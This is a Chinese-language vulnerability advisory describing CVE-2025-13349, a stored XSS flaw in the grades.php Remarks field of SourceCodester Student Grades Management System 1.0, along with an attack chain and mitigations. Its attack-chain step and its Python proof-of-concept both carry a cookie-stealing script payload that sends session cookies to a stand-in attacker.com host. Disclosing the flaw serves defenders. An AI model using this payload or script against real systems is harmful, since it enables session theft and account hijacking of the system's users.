IPBUF安全漏洞报告
English
CVE-2025-13349 CVSS 3.5 低危

CVE-2025-13349 SourceCodester学生成绩管理系统存储型XSS漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-13349
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester Student Grades Management System 1.0

相关标签

存储型XSS跨站脚本CVE-2025-13349SourceCodester学生成绩管理系统grades.phpWeb应用安全输入验证不足

漏洞概述

CVE-2025-13349是SourceCodester学生成绩管理系统1.0版本中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于grades.php文件的Add New Grade Page组件中,具体问题出现在Remarks参数的处理上。攻击者可以通过在备注字段中注入恶意JavaScript代码,当其他用户查看包含该备注的页面时,恶意脚本将在其浏览器中执行。由于该漏洞为存储型XSS,恶意代码会被永久保存在服务器端,所有访问该数据页面的用户都会受到攻击影响。虽然该漏洞的CVSS评分仅为3.5(低危),但在实际攻击场景中,攻击者可能利用此漏洞窃取用户会话cookie、劫持用户账号或进行钓鱼攻击,对系统的安全性构成潜在威胁。漏洞已被公开披露,可能已被在野利用。

技术细节

该漏洞是典型的存储型跨站脚本漏洞,存在于学生成绩管理系统的grades.php页面中。攻击者首先需要拥有系统的低权限账号(如学生或教师账号),然后在添加成绩记录时,在Remarks(备注)字段中注入恶意JavaScript代码。由于系统未对用户输入进行充分的输入验证和输出编码,恶意代码会被直接存储到数据库中。当其他用户(如管理员或教师)访问成绩列表页面时,服务器会从数据库中取出包含恶意代码的备注内容,并将其嵌入到HTML响应中返回给用户浏览器。浏览器会将恶意代码作为正常脚本执行,从而实现XSS攻击。攻击者可以利用此漏洞执行任意JavaScript代码,包括窃取用户会话令牌、修改页面内容、进行横向移动等。由于该漏洞需要用户交互(UI:R),攻击者通常需要诱骗受害者访问特定页面或点击特定链接来触发漏洞利用。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统为SourceCodester Student Grades Management System 1.0,并确定grades.php页面存在且可访问
STEP 2
步骤2:账户获取
攻击者获取系统的低权限账户(如学生或普通教师账户),可以通过默认口令、暴力破解或社工手段获取
STEP 3
步骤3:恶意载荷构造
攻击者构造XSS恶意载荷,如<script>document.location='attacker.com/steal?c='+document.cookie</script>,用于窃取用户会话cookie
STEP 4
步骤4:漏洞注入
使用获取的账户登录系统,访问Add New Grade页面,在Remarks字段中注入恶意XSS代码并提交
STEP 5
步骤5:持久化存储
恶意代码被保存到数据库中,由于是存储型XSS,代码会永久存在于系统中
STEP 6
步骤6:触发攻击
当管理员或其他用户访问成绩列表页面时,服务器将包含恶意代码的备注内容返回给用户浏览器
STEP 7
步骤7:脚本执行
用户浏览器将恶意代码作为正常脚本执行,导致cookie被盗、账号被劫持或页面被篡改

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from bs4 import BeautifulSoup # Target URL base_url = "http://target-server.com" login_url = f"{base_url}/login.php" grades_url = f"{base_url}/grades.php" # Attacker-controlled XSS payload xss_payload = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" # Authentication credentials credentials = { "username": "attacker_user", "password": "password123" } def exploit_stored_xss(): """Exploit the stored XSS vulnerability in the Remarks field""" # Step 1: Login to the system session = requests.Session() login_response = session.post(login_url, data=credentials) if "Login successful" not in login_response.text: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject malicious XSS payload into Remarks field grade_data = { "student_id": "1", "subject": "Mathematics", "score": "95", "remarks": xss_payload # XSS payload injection point } inject_response = session.post(grades_url, data=grade_data) if inject_response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") return True else: print("[-] Injection failed") return False if __name__ == "__main__": exploit_stored_xss()

影响范围

SourceCodester Student Grades Management System 1.0

防御指南

临时缓解措施
在厂商发布官方修复补丁之前,可采取以下临时缓解措施:1)限制低权限用户访问grades.php页面,仅允许管理员操作;2)在Web应用前端部署XSS过滤规则,对Remarks字段进行实时检测和过滤;3)启用HttpOnly和Secure属性的Cookie,防止会话cookie被JavaScript窃取;4)对所有访问成绩管理功能的请求实施严格的会话验证和权限检查;5)定期审查服务器日志,及时发现异常请求和潜在攻击行为;6)考虑暂时禁用成绩备注功能,待漏洞修复后再重新启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表